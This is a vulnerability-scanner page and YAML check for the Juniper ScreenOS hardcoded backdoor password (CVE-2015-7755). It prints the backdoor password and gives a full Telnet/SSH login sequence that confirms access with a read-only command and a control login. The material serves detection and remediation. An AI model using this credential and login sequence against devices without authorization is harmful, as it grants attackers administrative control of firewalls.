Juniper ScreenOS — 1 vulnerability check

noctis ships 1 vulnerability check for Juniper ScreenOS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Juniper ScreenOS backdoor password

CVECVE-2015-7754, CVE-2015-7755
Severitycritical · CVSS 9.8
Categorydefault-credentials — Default credentials
Servicestelnet, ssh
Detectionset_var, script, tcp_open, sleep, tcp_send, tcp_close, match, ssh_exec · highest QoD 97
Feedtests/vulnerabilities/juniper-screenos/CVE-2015-7754.yaml

The Juniper ScreenOS management interface (Telnet or SSH) accepted the hardcoded backdoor password "<<< %s(un='%s') = %u" for an arbitrary username and granted the administrative CLI (confirmed by the read-only `get system` command), while a random password was rejected. ScreenOS 6.2.0r15-6.2.0r18 and 6.3.0r12-6.3.0r20 are affected (JSA10713). An unauthenticated remote attacker gets full administrative control of the firewall.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Parses / computes the next value with a Rhai script
  4. Sends … on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Sends {{bd_user}} on the open socket
  7. Sends {{bd_pass}} on the open socket
  8. Sends get system on the open socket
  9. Sends on the open socket
  10. Parses / computes the next value with a Rhai script
  11. Parses / computes the next value with a Rhai script
  12. Opens a persistent TCP/TLS socket
  13. Sends {{bd_user}} on the open socket
  14. Sends {{ctl_pw}} on the open socket
  15. … and 9 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/juniper-screenos/CVE-2015-7754.yaml
# Juniper ScreenOS hardcoded administrative backdoor password (CVE-2015-7755,
# advisory JSA10713, tracked together with CVE-2015-7754).
#
# ScreenOS 6.2.0r15–6.2.0r18 and 6.3.0r12–6.3.0r20 contain unauthorized code
# that accepts the fixed password  <<< %s(un='%s') = %u  for ANY username on the
# Telnet and SSH management interfaces, granting a full administrative CLI.
#
# Ported from OpenVAS/Greenbone NVT
# 2015/gb_juniper_screenos_telnet_backdoor_12_2015.nasl (OID 1.3.6.1.4.1.25623.1.0.105496,
# GPL-2.0-only): log in over Telnet as "netscreen" with the backdoor password,
# run the read-only `get system` and require "Product Name:", "FPGA checksum" and
# "Compiled by build_master at" in the output. `get system` is the benign proof:
# it only reads the system summary and changes nothing.
#
# Deviations from the NASL (stronger detection, documented in the PR):
#   * SSH is covered too (the Metasploit juniper_backdoor module's vector): the
#     NASL only tries Telnet, so a box exposing only SSH management was missed.
#     ScreenOS 6.x SSH offers only SHA-1 key exchange and an ssh-dss host key;
#     the engine's libssh2 is built with those legacy algorithms (#1455), and
#     the *_legacy inventory hosts exercise that handshake.
#   * Accept-any-password guard: a random-password control login is made on the
#     same service. A honeypot or a box that accepts any password would also
#     "log in" with the backdoor string; when the control login succeeds too the
#     feed reports nothing (no false positive on accept-all services).
#   * Telnet runs on one persistent socket with pauses between commands, like the
#     NASL's sleep(3) gaps, so a slow appliance's late reply is still captured.
#
# One login attempt with a wrong (random) password is made only after the
# backdoor login already succeeded (Telnet) or up front on SSH; no lockout-prone
# brute force. category: default-credentials so operators can exclude it.
uid: 63ed00f3-b423-4594-a090-074d7f1bee68
name: "Juniper ScreenOS backdoor password (CVE-2015-7755 / CVE-2015-7754)"
description: |
  The Juniper ScreenOS management interface (Telnet or SSH) accepted the hardcoded
  backdoor password "<<< %s(un='%s') = %u" for an arbitrary username and granted the
  administrative CLI (confirmed by the read-only `get system` command), while a
  random password was rejected. ScreenOS 6.2.0r15-6.2.0r18 and 6.3.0r12-6.3.0r20
  are affected (JSA10713). An unauthenticated remote attacker gets full
  administrative control of the firewall.
cves: [CVE-2015-7754, CVE-2015-7755]
cvss: 9.8
severity: critical
category: default-credentials
confidence_base: 0.30
tags: [juniper, screenos, netscreen, backdoor, telnet, ssh, default-credentials, kev, intrusive]
services: [telnet, ssh]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7754"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7755"
  - "https://kb.juniper.net/JSA10713"
  - "https://github.com/hdm/juniper-cve-2015-7755"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssh/juniper_backdoor.rb"

vars:
  bd_user: "netscreen"          # any username works; the NASL uses this one
  bd_pass: "<<< %s(un='%s') = %u"

steps:
  # ---------------------------------------------------------------- set-up
  - id: init-is-ssh
    action: set_var
    var_name: is_ssh
    var_value: false

  - id: init-tn-markers
    action: set_var
    var_name: tn_markers
    var_value: false

  - id: init-ctl-markers
    action: set_var
    var_name: ctl_markers
    var_value: false

  - id: init-ssh-markers
    action: set_var
    var_name: ssh_markers
    var_value: false

  # Random control password — never the backdoor string.
  - id: control-password
    action: script
    store_as: ctl_pw
    code: |
      "noctis" + rand_str(14)

  # Open the management port and read its greeting: "SSH-" → SSH branch,
  # anything else (IAC negotiation + "login:") → Telnet branch.
  - id: open
    action: tcp_open
    handle: mgmt
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: conn

  - id: detect-ssh
    action: script
    condition: "conn.connected == true"
    store_as: is_ssh
    code: |
      type_of(conn.banner) == "string" && conn.banner.starts_with("SSH-")

  # No greeting within the first 500 ms read (slow link / loaded appliance):
  # wait, then read whatever arrived (a zero-byte write just triggers the read),
  # so a late "SSH-" banner still selects the SSH branch instead of feeding
  # Telnet lines to an SSH server.
  - id: late-banner-wait
    action: sleep
    condition: "conn.connected == true && type_of(conn.banner) != \"string\""
    duration_ms: 2000

  - id: late-banner
    action: tcp_send
    handle: mgmt
    condition: "conn.connected == true && type_of(conn.banner) != \"string\""
    send: ""
    timeout_secs: 10
    store_as: late

  - id: late-banner-ssh
    action: script
    condition: "conn.connected == true && type_of(conn.banner) != \"string\""
    store_as: is_ssh
    code: |
      type_of(late.response) == "string" && late.response.starts_with("SSH-")

  # ------------------------------------------------------- Telnet branch
  - id: tn-user
    action: tcp_send
    handle: mgmt
    condition: "is_ssh == false && conn.connected == true"
    send: "{{bd_user}}\r\n"
    timeout_secs: 10
    store_as: tn_user

  - id: tn-wait-password-prompt
    action: sleep
    condition: "is_ssh == false && conn.connected == true"
    duration_ms: 1000

  - id: tn-pass
    action: tcp_send
    handle: mgmt
    condition: "is_ssh == false && conn.connected == true"
    send: "{{bd_pass}}\r\n"
    timeout_secs: 10
    store_as: tn_pass

  - id: tn-wait-login
    action: sleep
    condition: "is_ssh == false && conn.connected == true"
    duration_ms: 2500

  - id: tn-get-system
    action: tcp_send
    handle: mgmt
    condition: "is_ssh == false && conn.connected == true"
    send: "get system\r\n"
    timeout_secs: 10
    store_as: tn_sys

  - id: tn-wait-output
    action: sleep
    condition: "is_ssh == false && conn.connected == true"
    duration_ms: 2500

  # An empty line flushes whatever `get system` printed after the first read.
  - id: tn-flush
    action: tcp_send
    handle: mgmt
    condition: "is_ssh == false && conn.connected == true"
    send: "\r\n"
    timeout_secs: 10
    store_as: tn_tail

  - id: close
    action: tcp_close
    handle: mgmt

  - id: tn-collect
    action: script
    condition: "is_ssh == false && conn.connected == true"
    store_as: tn_out
    code: |
      let out = "";
      for r in [tn_user, tn_pass, tn_sys, tn_tail] {
        if type_of(r.response) == "string" { out += r.response; out += "\n"; }
      }
      out

  - id: tn-check
    action: script
    condition: "is_ssh == false && conn.connected == true"
    store_as: tn_markers
    code: |
      strstr(tn_out, "Product Name:") != "" && strstr(tn_out, "FPGA checksum") != ""
        && strstr(tn_out, "Compiled by build_master at") != ""

  # Control: same Telnet exchange with a random password. Only run when the
  # backdoor login worked, to rule out an accept-any-password service.
  - id: ctl-open
    action: tcp_open
    handle: ctl
    port: "{{port}}"
    condition: "tn_markers == true"
    read_banner: true
    timeout_secs: 10
    store_as: ctl_conn

  - id: ctl-user
    action: tcp_send
    handle: ctl
    condition: "tn_markers == true"
    send: "{{bd_user}}\r\n"
    timeout_secs: 10
    store_as: ctl_user

  - id: ctl-wait-password-prompt
    action: sleep
    condition: "tn_markers == true"
    duration_ms: 1000

  - id: ctl-pass
    action: tcp_send
    handle: ctl
    condition: "tn_markers == true"
    send: "{{ctl_pw}}\r\n"
    timeout_secs: 10
    store_as: ctl_pass

  - id: ctl-wait-login
    action: sleep
    condition: "tn_markers == true"
    duration_ms: 2500

  - id: ctl-get-system
    action: tcp_send
    handle: ctl
    condition: "tn_markers == true"
    send: "get system\r\n"
    timeout_secs: 10
    store_as: ctl_sys

  - id: ctl-wait-output
    action: sleep
    condition: "tn_markers == true"
    duration_ms: 2500

  - id: ctl-flush
    action: tcp_send
    handle: ctl
    condition: "tn_markers == true"
    send: "\r\n"
    timeout_secs: 10
    store_as: ctl_tail

  - id: ctl-close
    action: tcp_close
    handle: ctl

  - id: ctl-check
    action: script
    condition: "tn_markers == true"
    store_as: ctl_markers
    code: |
      let out = "";
      for r in [ctl_user, ctl_pass, ctl_sys, ctl_tail] {
        if type_of(r.response) == "string" { out += r.response; }
      }
      strstr(out, "Product Name:") != "" && strstr(out, "FPGA checksum") != ""

  - id: tn-finding
    action: match
    source: tn_out
    pattern: "Product Name:"
    condition: "tn_markers == true && ctl_markers == false"
    on_match:
      finding:
        title: "Juniper ScreenOS backdoor password accepted over Telnet (CVE-2015-7755)"
        description: "The Telnet management interface logged in user '{{bd_user}}' with the hardcoded ScreenOS backdoor password and ran the read-only `get system` command (Product Name / FPGA checksum / build_master markers), while a random password was rejected."
        remediation: "Upgrade ScreenOS to 6.2.0r19 / 6.3.0r21 or later (JSA10713), and restrict Telnet/SSH management access to trusted hosts; disable Telnet management."
        confidence_delta: 0.65
        qod: 97
        evidence: "Telnet backdoor login + `get system`: {{tn_out}}"
      stop: true

  # --------------------------------------------------------- SSH branch
  # Control first: a server that accepts a random password is not evidence.
  - id: ssh-control
    action: ssh_exec
    port: "{{port}}"
    condition: "is_ssh == true"
    timeout_secs: 10
    credentials:
      - "{{bd_user}}:{{ctl_pw}}"
    store_as: ssh_ctl

  - id: ssh-backdoor
    action: ssh_exec
    port: "{{port}}"
    condition: "is_ssh == true && ssh_ctl.authenticated == false"
    timeout_secs: 10
    credentials:
      - "{{bd_user}}:{{bd_pass}}"
    command: "get system"
    store_as: ssh_bd

  - id: ssh-check
    action: script
    condition: "is_ssh == true && ssh_ctl.authenticated == false && ssh_bd.authenticated == true"
    store_as: ssh_markers
    code: |
      type_of(ssh_bd.exec_output) == "string"
        && strstr(ssh_bd.exec_output, "Product Name:") != ""
        && strstr(ssh_bd.exec_output, "FPGA checksum") != ""

  # Backdoor login + `get system` output over SSH.
  - id: ssh-finding-exec
    action: match
    source: ssh_bd.exec_output
    pattern: "Product Name:"
    condition: "ssh_markers == true"
    on_match:
      finding:
        title: "Juniper ScreenOS backdoor password accepted over SSH (CVE-2015-7755)"
        description: "The SSH management interface authenticated user '{{bd_user}}' with the hardcoded ScreenOS backdoor password and ran the read-only `get system` command, while a random password was rejected."
        remediation: "Upgrade ScreenOS to 6.2.0r19 / 6.3.0r21 or later (JSA10713), and restrict SSH management access to trusted hosts."
        confidence_delta: 0.65
        qod: 97
        evidence: "SSH backdoor login ({{ssh_bd.banner}}) + `get system`: {{ssh_bd.exec_output}}"
      stop: true

  # Backdoor login accepted but no command channel output (ScreenOS SSH may
  # refuse exec requests): the backdoor-only authentication is still proof.
  - id: ssh-finding-auth
    action: match
    source: ssh_bd.auth_user
    pattern: "^netscreen$"
    condition: "ssh_markers == false && is_ssh == true && ssh_ctl.authenticated == false && ssh_bd.authenticated == true"
    on_match:
      finding:
        title: "Juniper ScreenOS backdoor password accepted over SSH (CVE-2015-7755)"
        description: "The SSH management interface authenticated user '{{bd_user}}' with the hardcoded ScreenOS backdoor password, while a random password was rejected."
        remediation: "Upgrade ScreenOS to 6.2.0r19 / 6.3.0r21 or later (JSA10713), and restrict SSH management access to trusted hosts."
        confidence_delta: 0.60
        qod: 97
        evidence: "SSH backdoor login accepted ({{ssh_bd.banner}}); random-password control rejected"

View these feeds on GitHub